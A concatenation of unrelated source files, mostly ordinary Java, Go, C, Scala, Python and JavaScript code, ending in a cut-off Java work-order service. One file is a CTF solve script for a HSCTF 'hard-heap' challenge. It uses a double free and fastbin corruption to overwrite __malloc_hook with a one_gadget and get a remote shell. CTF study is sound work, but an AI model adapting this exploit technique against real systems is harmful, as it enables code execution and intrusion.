public void update(String id, Base newValue) {
Base tmpResult = get(id);
for (int i = 0; i < this.objects.length; i++) {
if (this.objects[i] != null) {
if (this.objects[i].equals(tmpResult)) {
this.objects[i] = newValue;
}
}
}
}
/**
*Method delete value from array.
* @param base
*/
@Override
public void delete(Base base) {
for (int i = 0; i < this.objects.length; i++) {
if (this.objects[i].equals(base)) {
objects[i] = null;
}
}
}
}
|
ankita25/TiBigData | ticdc/src/main/java/io/tidb/bigdata/cdc/json/jackson/JacksonFactory.java | <reponame>ankita25/TiBigData<gh_stars>100-1000
/*
* Copyright 2021 TiDB Project Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.tidb.bigdata.cdc.json.jackson;
import io.tidb.bigdata.cdc.ParserFactory;
import io.tidb.bigdata.cdc.json.JsonNode;
import io.tidb.bigdata.cdc.json.JsonParser;
public class JacksonFactory implements ParserFactory<JsonParser, JsonNode>, JsonParser {
private final JacksonContext context;
private final Object reader;
private final Object writer;
private JacksonFactory(final JacksonContext context) {
this.context = context;
final Object mapper = context.newMapper();
this.reader = context.newReader(mapper);
this.writer = context.newWriter(mapper);
}
public static JacksonFactory create() {
return new JacksonFactory(JacksonContext.getDefaultContext());
}
public static JacksonFactory create(String shadePrefix) {
return new JacksonFactory(new JacksonContext(shadePrefix));
}
public JsonParser createParser() {
return this;
}
public JacksonObjectNode createObject() {
return new JacksonObjectNode(context, context.newObject());
}
@Override
public JsonNode parse(byte[] input) {
if (input.length == 0) {
return JacksonMissingNode.getInstance();
}
return new JacksonJsonNode(context, context.readTree(reader, input));
}
public String toJson(JacksonObjectNode object) {
return context.writeValueAsString(writer, object.getImpl());
}
} |
jeffpuzzo/jp-rosa-react-form-wizard | node_modules/@patternfly/react-tokens/dist/esm/c_table__compound_expansion_toggle__button_after_border_width_base.js | export const c_table__compound_expansion_toggle__button_after_border_width_base = {
"name": "--pf-c-table__compound-expansion-toggle__button--after--border-width--base",
"value": "3px",
"var": "var(--pf-c-table__compound-expansion-toggle__button--after--border-width--base)"
};
export default c_table__compound_expansion_toggle__button_after_border_width_base; |
BinaryStudioAcademy/bsa-2019-metrica | frontend/src/store/modules/auth/types/mutations.js | export const USER_LOGIN = 'USER_LOGIN';
export const USER_LOGOUT = 'USER_LOGOUT';
export const SET_AUTHENTICATED_USER = 'SET_AUTHENTICATED_USER';
export const SET_TOKEN = 'SET_TOKEN';
|
aslakknutsen/origin | Godeps/_workspace/src/github.com/GoogleCloudPlatform/kubernetes/pkg/runtime/embedded.go | /*
Copyright 2014 Google Inc. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runtime
import (
"gopkg.in/v1/yaml"
)
// Encode()/Decode() are the canonical way of converting an API object to/from
// wire format. This file provides utility functions which permit doing so
// recursively, such that API objects of types known only at run time can be
// embedded within other API types.
// UnmarshalJSON implements the json.Unmarshaler interface.
func CodecUnmarshalJSON(codec Codec, b []byte) (Object, error) {
// Handle JSON's "null": Decode() doesn't expect it.
if len(b) == 4 && string(b) == "null" {
return nil, nil
}
obj, err := codec.Decode(b)
if err != nil {
return nil, err
}
return obj, nil
}
// MarshalJSON implements the json.Marshaler interface.
func CodecMarshalJSON(codec Codec, obj Object) ([]byte, error) {
if obj == nil {
// Encode unset/nil objects as JSON's "null".
return []byte("null"), nil
}
return codec.Encode(obj)
}
// SetYAML implements the yaml.Setter interface.
func CodecSetYAML(codec Codec, tag string, value interface{}) (Object, bool) {
if value == nil {
return nil, true
}
// Why does the yaml package send value as a map[interface{}]interface{}?
// It's especially frustrating because encoding/json does the right thing
// by giving a []byte. So here we do the embarrasing thing of re-encode and
// de-encode the right way.
// TODO: Write a version of Decode that uses reflect to turn this value
// into an API object.
b, err := yaml.Marshal(value)
if err != nil {
panic("yaml can't reverse its own object")
}
obj, err := codec.Decode(b)
if err != nil {
return nil, false
}
return obj, true
}
// GetYAML implements the yaml.Getter interface.
func CodecGetYAML(codec Codec, obj Object) (tag string, value interface{}) {
if obj == nil {
value = "null"
return
}
// Encode returns JSON, which is conveniently a subset of YAML.
v, err := codec.Encode(obj)
if err != nil {
panic("impossible to encode API object!")
}
return tag, v
}
|
aldew5/Competitve-Programming | USACO Training/1.6/numtri.cpp | <reponame>aldew5/Competitve-Programming
/*
ID: alec3
LANG: C++14
PROG: numtri
CLASSIFICATION: brute force
*/
#include <bits/stdc++.h>
#define check(x) cout<<(#x)<<": "<<x<<" ";
#define io ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);
typedef long long ll;
typedef unsigned long long ull;
using namespace std;
int main() {
ifstream fin("numtri.in");
ofstream fout("numtri.out");
int best[1000], old[1000];
int r;
fin >> r;
for (int i = 0; i < 1000; i++){
best[i] = 0;
}
int it;
for (int i = 1; i <= r; i++){
// copy the bytes from best to old where sizeof
// is the number of bytes to copy
memmove(old, best, sizeof old);
// read a row
for (int j = 0; j < i; j++){
fin >> it;
// set the best to the best of the previous rows plus the
// newest integer
if (j == 0) best[j] = old[j] + it;
// old + new int or the previous old + new int
else best[j] = max(old[j], old[j-1]) + it;
}
}
int ans = 0;
// find the greatest answer
for (int i = 0; i < r; i++){
if (best[i] > ans) ans = best[i];
}
fout << ans << endl;
return 0;
}
|
eikek/publet | webeditor/src/main/scala/org/eknet/publet/webeditor/actions/PushContents.scala | /*
* Copyright 2012 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.eknet.publet.webeditor.actions
import org.eknet.publet.engine.scala.ScalaScript
import org.eknet.publet.web.shiro.Security
import java.io.ByteArrayInputStream
import grizzled.slf4j.Logging
import org.eknet.publet.vfs.Path
import org.eknet.publet.web.util.{PubletWeb, PubletWebContext, RenderUtils}
import org.eknet.publet.webeditor.EditorPaths
/**
* @author <NAME> <EMAIL>
* @since 26.04.12 19:46
*/
object PushContents extends ScalaScript with Logging {
import org.eknet.publet.web.util.RenderUtils.makeJson
def notify(success: Boolean, msg: String, head: Option[String] = None) = {
makeJson(Map("success"->success, "message"->msg, "lastMod"->head.getOrElse("")))
}
def serve() = {
val ctx = PubletWebContext
ctx.param("delete") match {
case Some(path) => {
try {
delete(Path(path))
ctx.redirect(ctx.urlOf(EditorPaths.editHtmlPage.asString+"?resource="+path))
None
} catch {
case e:Exception => RenderUtils.renderMessage("Error", "Error while deleting.", "error")
}
}
case _=> ctx.param("path") match {
case Some(path) => {
val p = Path(path)
try {
pushText(p)
notify(success = true, msg = "Successfully saved.", head = getHead(p))
} catch {
case e:Exception => {
error("Error while saving file!", e)
notify(success = false, msg = e.getMessage)
}
}
}
case None => notify(success = false, msg = "Not enough arguments!")
}
}
}
def delete(path: Path) {
Security.checkWritePermission(path)
info("Deleting now: "+ path.asString)
PubletWeb.publet.delete(path)
}
def pushText(path: Path) {
val ctx = PubletWebContext
val publet = PubletWeb.publet
ctx.param("page") match {
case None =>
case Some(body) => {
Security.checkWritePermission(path)
val target = ctx.param("extension").getOrElse("md")
val commitMsg = ctx.param("commitMessage").getOrElse("")
val oldhead = ctx.param("head").getOrElse("")
val newhead = getHead(path).getOrElse("")
if (oldhead != newhead) {
sys.error("The repository has changed since you started editing!")
}
debug("Write "+target+" file")
publet.push(path.withExt(target), new ByteArrayInputStream(body.getBytes("UTF-8")), Security.changeInfo(commitMsg))
}
}
}
def getHead(path: Path) = {
PubletWeb.publet.findSources(path).toList match {
case d::ds => d.lastModification.map(_.toString)
case _ => None
}
}
}
|
mrudulpolus/kc | coeus-code/src/main/java/org/kuali/kra/budget/rules/BudgetColumnsToAlterMaintenanceDocumentRule.java | /*
* Copyright 2005-2014 The Kuali Foundation
*
* Licensed under the Educational Community License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.opensource.org/licenses/ecl1.php
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.kuali.kra.budget.rules;
import org.kuali.rice.kns.maintenance.rules.MaintenanceDocumentRuleBase;
import java.util.HashMap;
import java.util.Map;
public class BudgetColumnsToAlterMaintenanceDocumentRule extends MaintenanceDocumentRuleBase {
private static Map<String, String> validationClassesMap = new HashMap<String, String>();
static {
validationClassesMap.put("org.kuali.rice.kns.datadictionary.validation.charlevel.AnyCharacterValidationPattern", "STRING");
validationClassesMap.put("org.kuali.rice.kns.datadictionary.validation.charlevel.AlphaNumericValidationPattern", "STRING");
validationClassesMap.put("org.kuali.rice.kns.datadictionary.validation.charlevel.AlphaValidationPattern", "STRING");
validationClassesMap.put("org.kuali.rice.kns.datadictionary.validation.fieldlevel.DateValidationPattern", "DATE");
validationClassesMap.put("org.kuali.rice.kns.datadictionary.validation.charlevel.NumericValidationPattern", "NUMBER");
}
}
|
deyovuk/urbanairship-java-library | src/test/java/com/urbanairship/api/reports/parse/ReportsAPIOpensTimeInAppResponseDeserializerTest.java | <reponame>deyovuk/urbanairship-java-library
/*
* Copyright (c) 2013-2014. Urban Airship and Contributors
*/
package com.urbanairship.api.reports.parse;
import com.urbanairship.api.client.parse.APIResponseObjectMapper;
import com.urbanairship.api.common.parse.DateFormats;
import com.urbanairship.api.reports.model.Opens;
import com.urbanairship.api.reports.model.ReportsAPIOpensResponse;
import com.urbanairship.api.reports.model.ReportsAPITimeInAppResponse;
import com.urbanairship.api.reports.model.TimeInApp;
import org.codehaus.jackson.map.ObjectMapper;
import org.junit.Test;
import java.io.IOException;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
public class ReportsAPIOpensTimeInAppResponseDeserializerTest {
private static final ObjectMapper mapper = APIResponseObjectMapper.getInstance();
@Test
public void testReportsAPIOpensResponseDeserializer() throws IOException {
String json = "{ \n" +
" \"opens\":[ \n" +
" { \n" +
" \"date\":\"2013-07-01 00:00:00\",\n" +
" \"ios\":1470,\n" +
" \"android\":458\n" +
" },\n" +
" { \n" +
" \"date\":\"2013-08-01 00:00:00\",\n" +
" \"ios\":1662,\n" +
" \"android\":523\n" +
" }\n" +
" ]\n" +
"}";
ReportsAPIOpensResponse obj = mapper.readValue(json, ReportsAPIOpensResponse.class);
assertNotNull(obj);
assertEquals(2, obj.getObject().size());
Opens opens1 = obj.getObject().get(0);
assertEquals(458, opens1.getAndroid());
assertEquals(1470, opens1.getIos());
assertEquals(DateFormats.DATE_PARSER.parseDateTime("2013-07-01 00:00:00"), opens1.getDate());
Opens opens2 = obj.getObject().get(1);
assertEquals(523, opens2.getAndroid());
assertEquals(1662, opens2.getIos());
assertEquals(DateFormats.DATE_PARSER.parseDateTime("2013-08-01 00:00:00"), opens2.getDate());
}
@Test
public void testReportsAPITimeInAppResponseDeserializer() throws IOException {
String json = "{ \n" +
" \"timeinapp\":[ \n" +
" { \n" +
" \"date\":\"2013-07-01 00:00:00\",\n" +
" \"ios\":145436.44,\n" +
" \"android\":193246.86\n" +
" },\n" +
" { \n" +
" \"date\":\"2013-08-01 00:00:00\",\n" +
" \"ios\":45608.027,\n" +
" \"android\":100203.02\n" +
" }\n" +
" ]\n" +
"}";
ReportsAPITimeInAppResponse obj = mapper.readValue(json, ReportsAPITimeInAppResponse.class);
assertNotNull(obj);
System.out.println(obj);
TimeInApp tia1 = obj.getObject().get(0);
assertEquals(193246.86, tia1.getAndroid(), 0.01);
assertEquals(145436.4375, tia1.getIos(), 0.01);
assertEquals(DateFormats.DATE_PARSER.parseDateTime("2013-07-01 00:00:00"), tia1.getDate());
TimeInApp tia2 = obj.getObject().get(1);
assertEquals(100203.02, tia2.getAndroid(), 0.01);
assertEquals(45608.027, tia2.getIos(), 0.01);
assertEquals(DateFormats.DATE_PARSER.parseDateTime("2013-08-01 00:00:00"), tia2.getDate());
}
}
|
PacktPublishing/-Learn-MongoDB-4.0 | www/chapter_09/booking/views.py | # Create your views here.
from django.template.loader import render_to_string
from django.http import HttpResponse
from config.config import Config
from booksomeplace.domain.property import PropertyService
def index(request):
config = Config()
propService = PropertyService(config)
main = render_to_string('booking.html', { 'top_10' : propService.fetchTop10() })
page = render_to_string('layout.html', {'contents' : main})
return HttpResponse(page)
|
lechium/iOS1351Headers | usr/libexec/checkerboardd/CBDRemoteMessageReply-Protocol.h | //
// Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20).
//
// Copyright (C) 1997-2019 <NAME>.
//
#import "CBCoding-Protocol.h"
#import "NSCopying-Protocol.h"
#import "NSObject-Protocol.h"
@class NSError, NSUUID;
@protocol CBDRemoteMessage;
@protocol CBDRemoteMessageReply <NSObject, CBCoding, NSCopying>
+ (id)replyToRemoteMessage:(id <CBDRemoteMessage>)arg1 success:(_Bool)arg2 error:(NSError *)arg3;
@property(readonly, nonatomic) NSError *error;
@property(readonly, nonatomic) _Bool success;
@property(readonly, nonatomic) NSUUID *inReplyToUUID;
@property(readonly, nonatomic) NSUUID *uuid;
- (void)triggerWithRemoteMessage:(id <CBDRemoteMessage>)arg1;
@end
|
digitalinteraction/openmovement | Firmware/Flux.Other/include/Utils/BitPack.h | /*
* Copyright (c) 2009-2012, Newcastle University, UK.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
// Bit Packer
// <NAME>, 2012
#ifndef BITPACK_H
#define BITPACK_H
// Bit-pack 4x 10-bit samples into 5-byte groups (stored little-endian):
// AAAAAAAA BBBBBBAA CCCCBBBB DDCCCCCC DDDDDDDD
// 76543210 54321098 32109876 10987654 98765432
// Number of bytes required to pack 'n' 10-bit values: size = ((n / 4) * 5); if ((n % 4) != 0) size += (n % 4) + 1;
#define BITPACK10_SIZEOF(_n) ((((_n) / 4) * 5) + ((((_n) & 0x03) == 0) ? 0 : (((_n) & 0x03) + 1)))
#ifndef BITPACK_H_NO_FUNCTIONS
// Pack 4x 10-bit samples into 5-byte groups (stored little-endian).
// IMPORTANT: Samples must be written sequentially (otherwise destination values will be overwritten or combined incorrectly).
static void BitPack_uint10(void *buffer, unsigned short index, unsigned short value)
{
unsigned char *p = (unsigned char *)buffer + ((index >> 2) * 5);
switch (index & 0x03)
{
case 0: p[0] = (unsigned char)(value ); p[1] = (unsigned char)((value >> 8) & 0x0003); break; // A
case 1: p[1] |= (unsigned char)(value << 2); p[2] = (unsigned char)((value >> 6) & 0x000f); break; // B
case 2: p[2] |= (unsigned char)(value << 4); p[3] = (unsigned char)((value >> 4) & 0x003f); break; // C
case 3: p[3] |= (unsigned char)(value << 6); p[4] = (unsigned char)((value >> 2) ); break; // D
}
return;
}
// Un-pack 4x 10-bit samples from each 5-byte group (stored little-endian).
static unsigned short BitUnpack_uint10(void *buffer, unsigned short index)
{
unsigned short value;
unsigned char *p = (unsigned char *)buffer + ((index >> 2) * 5);
switch (index & 0x03)
{
case 0: return ((unsigned short)p[0] ) | (((unsigned short)p[1] & 0x0003) << 8); // A
case 1: return ((unsigned short)p[1] >> 2) | (((unsigned short)p[2] & 0x000f) << 6); // B
case 2: return ((unsigned short)p[2] >> 4) | (((unsigned short)p[3] & 0x003f) << 4); // C
case 3: return ((unsigned short)p[3] >> 6) | (((unsigned short)p[4] ) << 2); // D
}
}
/*
// 2x 12-bit samples into 3-byte groups, stored little-endian:
// AAAAAAAA BBBBAAAA BBBBBBBB
// 76543210 3210ba98 ba987654
// IMPORTANT: Samples must be written sequentially (otherwise destination values will be overwritten or combined incorrectly).
static void BitPack_uint12(void *buffer, unsigned short index, unsigned short value)
{
unsigned char *p = (unsigned char *)buffer + ((index >> 1) * 3);
switch (index & 0x01)
{
case 0: p[0] = (unsigned char)(value ); p[1] = (unsigned char)((value >> 8) & 0x000f); break; // A
case 1: p[1] |= (unsigned char)(value << 4); p[2] = (unsigned char)((value >> 4) ); break; // B
}
return;
}
*/
#endif
#endif
|
vinaya-thimmappa/svelte-material-ui | packages/textfield/index.js | import Textfield from './Textfield.svelte';
import Prefix from './Prefix.js';
import Suffix from './Suffix.js';
import HelperLine from './HelperLine.js';
import Input from './Input.svelte';
import Textarea from './Textarea.svelte';
export default Textfield;
export { Prefix, Suffix, HelperLine, Input, Textarea };
|
tefra/xsdata-w3c-tests | output/models/saxon_data/missing/missing001_xsd/__init__.py | from output.models.saxon_data.missing.missing001_xsd.missing001 import (
Bad,
Good,
)
__all__ = [
"Bad",
"Good",
]
|
idesign0/Programming-Repo | C++/45.member initializers/main.cpp | #include <iostream>
#include "dhruv.h"
#include "dhruv.cpp"
using namespace std;
int main()
{
dhruv doh(5,10);
doh.print();
}
|
pradeepkumarcm-egov/DIGIT-Dev | municipal-services/bpa-services/src/main/java/org/egov/bpa/service/OCService.java | package org.egov.bpa.service;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import lombok.extern.slf4j.Slf4j;
import org.egov.bpa.config.BPAConfiguration;
import org.egov.bpa.repository.ServiceRequestRepository;
import org.egov.bpa.util.BPAConstants;
import org.egov.bpa.util.BPAErrorConstants;
import org.egov.bpa.util.BPAUtil;
import org.egov.bpa.web.model.BPARequest;
import org.egov.bpa.web.model.BPASearchCriteria;
import org.egov.bpa.web.model.edcr.RequestInfo;
import org.egov.mdms.model.MdmsCriteriaReq;
import org.egov.tracer.model.CustomException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.jayway.jsonpath.JsonPath;
@Service
@Slf4j
public class OCService {
@Autowired
private BPAConfiguration config;
@Autowired
private ServiceRequestRepository serviceRequestRepository;
@Autowired
private BPAUtil util;
/**
* validate the OC EDCR and BPA EDCR data
* @param bpaRequest
* @param criteria
*/
@SuppressWarnings({ "unchecked", "rawtypes", "unused" })
public void validateAdditionalData(BPARequest bpaRequest, BPASearchCriteria criteria) {
org.egov.common.contract.request.RequestInfo requestInfo = bpaRequest.getRequestInfo();
String OcEdcr = bpaRequest.getBPA().getEdcrNumber();
String num = criteria.getEdcrNumber();
ArrayList<String> edcrNos = new ArrayList<String>();
edcrNos.add(OcEdcr);
edcrNos.add(num);
RequestInfo edcrRequestInfo = new RequestInfo();
ArrayList<LinkedHashMap<String, Object>> data = new ArrayList<LinkedHashMap<String, Object>>();
edcrNos.forEach(edcrNo -> {
StringBuilder uri = new StringBuilder(config.getEdcrHost());
uri.append(config.getGetPlanEndPoint());
uri.append("?").append("tenantId=").append(criteria.getTenantId());
uri.append("&").append("edcrNumber=").append(edcrNo);
try {
LinkedHashMap response = (LinkedHashMap) serviceRequestRepository.fetchResult(uri,
new org.egov.bpa.web.model.edcr.RequestInfoWrapper(edcrRequestInfo));
data.add(response);
} catch (Exception e) {
log.error("VALIDATION_ERROR:", e);
}
});
ArrayList<String> riskType = new ArrayList<String>();
ArrayList<String> khathaNos = new ArrayList<String>();
ArrayList<String> plotNos = new ArrayList<String>();
ArrayList<String> occupancy = new ArrayList<String>();
if (data.size() >= 2) {
this.extractEdcrData(data, riskType, khathaNos, plotNos, occupancy, requestInfo, criteria);
this.validateRiskKhataplotOccupancyType(riskType, khathaNos, plotNos, occupancy);
}
}
/**
* extrade khataNo,plotno,occupancy fromt the EDCR Data
* @param edcrData
* @param riskType
* @param khathaNos
* @param plotNos
* @param occupancy
* @param requestInfo
* @param criteria
*/
private void extractEdcrData(ArrayList<LinkedHashMap<String, Object>> edcrData,
ArrayList<String> riskType,ArrayList<String> khathaNos,
ArrayList<String> plotNos,ArrayList<String> occupancy,
org.egov.common.contract.request.RequestInfo requestInfo,
BPASearchCriteria criteria) {
edcrData.forEach(edcrDetail -> {
String tenantId = criteria.getTenantId();
MdmsCriteriaReq mdmsCriteriaReq = util.getMDMSRequest(requestInfo, tenantId);
Object result = serviceRequestRepository.fetchResult(util.getMdmsSearchUrl(), mdmsCriteriaReq);
ArrayList OcData = new ArrayList();
OcData.add(JsonPath.read(result, "$.MdmsRes.BPA.RiskTypeComputation"));
if(OcData.size() == 0) {
throw new CustomException(BPAErrorConstants.INVALID_CREATE,
"RiksType Computation MDMS does not exists");
}
Double buildingHeight = (Double) ((List) JsonPath.read(edcrDetail, "$.edcrDetail.*.planDetail.blocks.*.building.buildingHeight")).get(0);
Double plotArea = (Double) ((List) JsonPath.read(edcrDetail, "$.edcrDetail.*.planDetail.plot.area")).get(0);
String filterExp = "$.[?((@.fromPlotArea < " + plotArea + " && @.toPlotArea >= " + plotArea
+ ") || ( @.fromBuildingHeight < " + buildingHeight + " && @.toBuildingHeight >= "
+ buildingHeight + " ))].riskType";
List<String> riskTypes = JsonPath.read(OcData.get(0), filterExp);
riskType.add(riskTypes.get(0));
khathaNos.add(JsonPath.read(edcrDetail, BPAConstants.OC_KHATHANO));
plotNos.add(JsonPath.read(edcrDetail, BPAConstants.OC_PLOTNO));
occupancy.add(JsonPath.read(edcrDetail, BPAConstants.OC_OCCUPANCY));
});
}
/**
* validates the riskType, kahataNos, plotNos, occupancy
* @param riskType
* @param khathaNos
* @param plotNos
* @param occupancy
*/
private void validateRiskKhataplotOccupancyType(ArrayList<String> riskType,ArrayList<String> khathaNos,ArrayList<String> plotNos,ArrayList<String> occupancy) {
if (riskType.size() > 1) {
if(riskType.get(1).equalsIgnoreCase("LOW")){
if(!riskType.get(0).equalsIgnoreCase("LOW")){
throw new CustomException(BPAErrorConstants.INVALID_CREATE,
"Risk type from BPA edcr is not matching with the Risk type from occupancy certificate edcr. You cannot proceed with the application");
}
}else if(riskType.get(1).equalsIgnoreCase("MEDIUM")){
if(riskType.get(0).equalsIgnoreCase("HIGH")){
throw new CustomException(BPAErrorConstants.INVALID_CREATE,
"Risk type from BPA edcr is not matching with the Risk type from occupancy certificate edcr. You cannot proceed with the application");
}
}
}
if (khathaNos.size() > 1) {
if (!khathaNos.get(0).equalsIgnoreCase(khathaNos.get(1))) {
throw new CustomException(BPAErrorConstants.INVALID_CREATE,
"Khata number from BPA edcr is not matching with the khata number from occupancy certificate edcr. You cannot proceed with the application");
}
}
if (plotNos.size() > 1) {
if (!plotNos.get(0).equalsIgnoreCase(plotNos.get(1))) {
throw new CustomException(BPAErrorConstants.INVALID_CREATE,
"plot number from BPA edcr is not matching with the plot number from occupancy certificate edcr. You cannot proceed with the application");
}
}
if (occupancy.size() > 1) {
if (!occupancy.get(0).equalsIgnoreCase(occupancy.get(1))) {
throw new CustomException(BPAErrorConstants.INVALID_CREATE,
"occupancy from BPA edcr is not matching with the occupancy from occupancy certificate edcr. You cannot proceed with the application");
}
}
}
}
|
soonsoft/Uranus | uranus.app/uranus.api/src/main/java/com/soonsoft/uranus/api/config/properties/ErrorPageProperties.java | <filename>uranus.app/uranus.api/src/main/java/com/soonsoft/uranus/api/config/properties/ErrorPageProperties.java
package com.soonsoft.uranus.api.config.properties;
import com.soonsoft.uranus.web.error.properties.ErrorMessageProperties;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component;
@Component
@ConfigurationProperties(prefix = "uranus.error")
public class ErrorPageProperties extends ErrorMessageProperties {
}
|
mihaid-b/CyberSakura | Gathered CTF writeups/ptr-yudai-writeups/2019/HSCTF_6/hard_heap/solve.py | from ptrlib import *
def sice_deet(size, data):
sock.recvuntil("> ")
sock.sendline("1")
sock.recvuntil("> ")
sock.sendline(str(size))
sock.recvuntil("> ")
sock.send(data)
def observe_deet(index):
sock.recvuntil("> ")
sock.sendline("2")
sock.recvuntil("> ")
sock.sendline(str(index))
return sock.recvline().rstrip()
def antisice_deet(index):
sock.recvuntil("> ")
sock.sendline("3")
sock.recvuntil("> ")
sock.sendline(str(index))
#sock = Process("./hard-heap")
libc = ELF("./libc.so.6")
#sock = Socket("localhost", 9999)
sock = Socket("pwn.hsctf.com", 5555)
main_arena = 0x3c4b20
delta = 0x58
one_gadget = 0xf1147
# leak heap
fake_chunk = b"A" * 0x30
fake_chunk += p64(0)
fake_chunk += p64(0x51)
sice_deet(0x48, fake_chunk) # sice:0 (0x00)
sice_deet(0x48, "1") # sice:1 (0x50)
sice_deet(0x48, "2") # 0xa0
sice_deet(0x48, "3") # 0xf0
antisice_deet(0)
antisice_deet(1)
antisice_deet(0)
addr_heap = u64(observe_deet(0)) - 0x50 # addr of sice:0
logger.info("heap = " + hex(addr_heap))
assert addr_heap > 0
# overlap & libc base
sice_deet(0x48, p64(addr_heap + 0x40)) # sice:4 = sice:0
sice_deet(0x48, "X" * 8) # sice:5
sice_deet(0x48, "AAAA") # sice:6
payload = p64(0) + p64(0xa1)
sice_deet(0x48, payload) # sice:7
antisice_deet(1)
libc_base = u64(observe_deet(1)) - main_arena - delta
logger.info("libc base = " + hex(libc_base))
addr_one_gadget = libc_base + 0x4526a
# create heap address on main_arena before top_chunk
sice_deet(0x20, "dummy") # sice:8
antisice_deet(8)
# fastbin corruption attack
sice_deet(0x48, "9") # sice:9
sice_deet(0x48, "10") # sice:10
sice_deet(0x48, "11") # sice:11
antisice_deet(10)
antisice_deet(11)
antisice_deet(10)
sice_deet(0x48, p64(libc_base + main_arena + 13)) # sice:12
sice_deet(0x48, "dummy") # sice:13
sice_deet(0x48, "dummy") # sice:14
payload = b'\x00' * 3
payload += p64((libc_base + main_arena + 0x20)) # fastbin for 0x50
payload += p64(0x51)
sice_deet(0x48, payload) # now fastbin(for 0x50) is &top_chunk (sice:15)
target = libc_base + libc.symbol("__malloc_hook") - 27 - 8
payload = p64(0) * 5
payload += p64(target)
sice_deet(0x48, payload) # top_chunk (sice:16)
# overwrite __malloc_hook
sice_deet(0x48, b'\xff' * 0x13 + p64(libc_base + one_gadget))
# get the shell!
sock.recvuntil("> ")
sock.sendline("1")
sock.recvuntil("> ")
sock.sendline("11")
sock.interactive()
|
matuobasyouca/com.software5000.ma | com.software5000.ma.server/src/main/java/com/software5000/ma/service/WorkOrderService.java | <filename>com.software5000.ma.server/src/main/java/com/software5000/ma/service/WorkOrderService.java<gh_stars>1-10
package com.software5000.ma.service;
/**
* Created by Jiang on 2017/07/19.
*/
import com.alibaba.fastjson.JSONObject;
import com.github.pagehelper.PageInfo;
import com.software5000.base.*;
import com.software5000.base.entity.ReturnResult;
import com.software5000.base.mybatis.plugins.PermissionHelper;
import com.software5000.base.security.UserDefaultUtil;
import com.software5000.ma.dto.*;
import com.software5000.ma.entity.*;
import com.software5000.util.PostUtil;
import com.software5000.util.WxMsgUtil;
import com.zscp.master.util.DateUtils;
import com.zscp.master.util.ValidUtil;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.stereotype.Service;
import javax.annotation.Resource;
import java.io.IOException;
import java.sql.SQLException;
import java.sql.Timestamp;
import java.util.*;
import java.util.stream.Collectors;
@Service
public class WorkOrderService {
private Log log = LogFactory.getLog(WorkOrderService.class);
@Resource
private MyBaseDao baseDao;
@Resource
private UserService userService;
@Resource
private WeChatPayOrderService weChatPayOrderService;
@Resource
private FinanceService financeService;
@Resource
private MemberPackageRecordService memberPackageRecordService;
@Resource
private MemberLvlRecordService memberLvlRecordService;
@Resource
private BusinessService businessService;
//<editor-fold desc="insert (增)">
/* ----------------------------------------------------------- insert (增) start ----------------------------------------------------------------*/
/**
* 新建工单信息
* @param workOrder
* @return
* @throws SQLException
*/
public WorkOrder insertWorkOrderForCreate(WorkOrder workOrder) throws SQLException {
//设置订单号
workOrder.setOrderNo(DateUtils.unixTimestampToDate(System.currentTimeMillis(), DateUtils.DATE_KEY_STR) + workOrder.getBusinessId());
//设置工单状态
workOrder.setState(Constant.WorkOrderState.SERVICE_ING.codeName);
